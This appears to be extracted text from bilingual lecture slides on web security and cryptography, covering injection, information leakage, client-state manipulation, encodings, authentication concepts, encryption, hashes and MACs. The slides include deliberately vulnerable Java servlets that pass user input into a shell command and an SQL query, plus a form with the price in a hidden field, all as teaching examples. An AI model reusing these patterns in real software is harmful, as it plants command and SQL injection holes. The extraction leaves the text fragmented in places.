POST, not GET – posting a form doesn’t leave a token in the referer header or history.

The token isn’t stored in the cookie – you have to use a vehicle that isn’t auto- submitted. A header could have worked as well.

Interpreter injection

  • This is an attack against your server that can allow arbitrary code execution.

  • SQL Injection is the most infamous type of code injection attack.

  • Other types of injection include LDAP, XML, HTTP, XAMP, PHP, JSP, Python, Perl …

  • Instead of tracking the individual techniques, you can think about this as interpreter injection.

public void doGet(HttpServletRequest request, HttpServletResponse response){ String subject = request.getParameter("emailSubject");Runtime.exec("mail [email protected] -s "+subject+" </tmp/content");response.setContentType("text/html");PrintWriter out = response.getWriter();out.println("<html><head><title>Email sent</title></head>");out.println("<body>Thank you for your feedback</body></html>");}

public void doGet(HttpServletRequest request, HttpServletResponse response){ String pennID = request.getParameter("pennID");String query = "SELECT midterm FROM grades WHERE user="+pennID; result = database.runQuery(query);response.setContentType("text/html");PrintWriter out = response.getWriter();out.println("<html><head><title>Midterm grades</title></head>");out.println("<body>Your midterm grade is: "+result+"</body></html>");}

Sql injection stop it
SQL Injection – Stop It!

  • FIEO.

  •  Use stored procedures that exercise the principal of least privilege

  • Use parameterized queries.

  • Parameterized queries do the heavy lifting here.

Nformation leakage

  • UX folks are always after developers to give their users friendly, informative error messages when something fails.

  • Don’t listen to them.

  • Friendly is good, but informative often gives attackers actionable intelligence about how your application is written.

    • This is one of the most common techniques used to discover SQL Injection vulnerabilities.

  • Log detailed debug information. Display something generic.

    • Make sure the generic messages are uniform – an attacker can use slight inconsistencies in the error messages to differentiate between error states.

Client state manipulation
Client state manipulation

<html> <head><title>BMW order form</title></head> <body> <form method="get" action="/order.php"> How many BMWs? <input type="text" size="3" name="quantity"> <input type="hidden" name="price" value="50000"> <input type="submit" value="Order"> </form> </body></html>

危险: 在客户端存储关键信息

  • 示例: 在cookies, 隐藏域, URL, 或者其他用户可以访问到地方

  • 上述例子会导致什么发生?

  • 方案:

    • 在服务端保存可信状态

    • 对信息进行签名 (感知攻击!)


  • 来自于浏览器的输入值(Form提交,HTTP头,Cookies等)是可以被信赖的吗?

    • 输入值校验(数据清洗)

  • 服务端存放数据到浏览器端,是安全的吗?

    • 是否要存放在浏览器端(例如:产品价格,折扣等)

    • 使用加密/使用签名(不只是对值进行签名)

    • 使用KEY(数据存储在服务端)

  • 敏感信息校验时,是否采取可靠的验证策略?(暴力破解怎么防止)

    • 是否在校验错误时,重新生成图片/手机校验码/校验邮件

    • 是否在连续校验错误时,延迟校验或者账户锁定等

    • 敏感信息存储是否安全?

    • 数据库/文件中的敏感信息(例如:密码)是否加密存放

    • 认证、授权、审计了嘛?

    • 当前用户是否通过认证/当前操作是否经过授权/当前授权是否过期/…

Rfc3548 the base16 base32 and base64 data encodings
RFC3548:The Base16, Base32, and Base64 Data Encodings


  • 使用的字符包括大小写字母各26个,加上10个数字,和加号“+”,斜杠“/”,一共64个字符,等号“=”用来作为后缀用途。

  • 完整的base64定义可见 RFC 1421和 RFC 2045。编码后的数据比原始数据略长,为原来的4/3

  • Base64算法将三个字符编码为4个字符,如果最后剩下两个输入数据,在编码结果后加1个“=”;如果最后剩下一个输入数据,编码结果后加2个“=”;如果没有剩下任何数据,就什么都不要加

The RFC 4648 Base 32 alphabet


  • 在因特网上传送URL,只能采用ASCII字符集。

  • 在进行URL编码时,每一个非安全的ASCII字符都被替换为“%hh”格式,其中hh为两位十六进制数,它对应于该字符在ISO-8859-1字符集里的编码值。

  • URL字符串里不能含有空格,在进行URL编码时,空格全部被替换为加号(+)。



  • Identification: Who are you?

  • Authentication: how do I know your identity is true?鉴权:咦(e),你确实是谁

    • 通常案例:用户名/密码, PIN, 指纹,私钥加密能力等。

    • 就像我们看电话号码来确定对方是否是骗人的,有人个手机打过来说你的银行账户怎么了,那肯定是假的。这个电话号码相当于用户名。

    • 如果朋友的手机给我发短信,说急着用钱。那光凭这个电话号码还不够,那只是一个用户名,我们还需要一个密码。那我会打个电话过去确认一下这个信息是朋友发过来的。朋友的声音就相当于这个密码。

  • Authorization 授权:噢(o),那你能干什么

    • 通常案例: ACL(访问控制列表), 权限等。

  • Accounting/Auditing:record of all transactions so we can look for security problems after the fact:记账:你干了什么。这些记录下来的信息可以用于多种用度。

    • 可以用于安全审计(Security Audit),如哪个用户什么时候登录了,什么时候干了什么事。

    • 还可以管理、优化和计划等,如某些功能用的多了那么我们就对这方面做优化。

    • Accounting的东西可以提供给计费系统。

  • Encryption:用来保护数据

    ciphertext = Ksender[plaintext]

    plaintext = Kreceiver[Ksender[plaintext]]


Secret key

Secret key

Encryption types
Encryption types

Symmetric encryption

Asymmetric encryption

Same key for encryption and decryption


Easy to setup

Does not provide authentication

Different key for encryption and decryption


Requires safe key exchange

Provides authentication

Symmetric encryption
Symmetric encryption


Symmetric encryption1
Symmetric encryption



encryption key


  • DES

    • first „standardized“ algorithm, 64-bit blocks

    • 56-bit keys very succeptible to brute-force attacks

  • 3DES

    • addresses issues with DES key shortness

    • encyption-decryption-encryption with 3 56-bit keys for an effective 168-bit

  • AES

    • 128-bit basic blocks

    • keys of 128, 192 and 256-bit lengths

    • faster and more secure than 3DES

    • free and public

Asymmetric encryption
Asymmetric encryption

Public-key encryption

Asymmetric encryption1
Asymmetric encryption



authors private key

authors public key


  • ciphertext encrypted with private key may only be decrypted by corresponding public key

  • ciphertext encrypted with public key may only be decrypted by corresponding private key

  • provides confidentiality and authentication

  • still requires secure key exchange

Message authentication
Message Authentication

  • Generate authentication code based on shared key and message

  • Common key shared between A and B

  • If only sender and receiver know key and code matches:

    • Receiver assured message has not altered

    • Receiver assured message is from alleged sender

    • If message has sequence number, receiver assured of proper sequence

Hash Functions

Message M

  • Hash Function

    • Generate a fixed length “Fingerprint” for an arbitrary length message

    • No Key involved

    • Must be at least One-way to be useful

  • Constructions

    • Iterated hash functions (MD4-family hash functions): MD5, SHA1, …

    • Hash functions based on block ciphers: MDC(Manipulation Detection Code)


Message Digest D

D = H(M)

Message Authentication Codes (MACs)

  • MAC

    • Generate a fixed length MAC for an arbitrary length message

    • A keyed hash function

    • Message origin authentication

    • Message integrity

    • Entity authentication

    • Transaction authentication

Shared Secret Key





Comparison of Hash Function & MAC

Arbitrary length

Arbitrary length







Secret key



fixed length

fixed length

  • Easy to compute

  • Compression: arbitrary length input to fixed length output

  • Unkeyed function vs. Keyed function

Symmetric Authentication (MAC)








Secret key


Secret key





Secret key


Alice and Bob


Secret key


Alice and Bob




Digital Signature












Hash value

Hash value 1


Public key

Public key




Hash value 2


Private key

Public key



  • A hashing algorithm refers to a mathematical function that takes a variable- size string as input and transforms (hashes) it into a fixed-size string, which is called the hash value.

  • One of the most common uses of hashing in network security is to produce condensed representations of messages or “fingerprints,” often known as “message digests,” by applying a hashing algorithm to an arbitrary amount of data — the message.

  • The two most commonly used hashing algorithms are MD5 and SHA­1 (part of the secure hash standard [SHS]).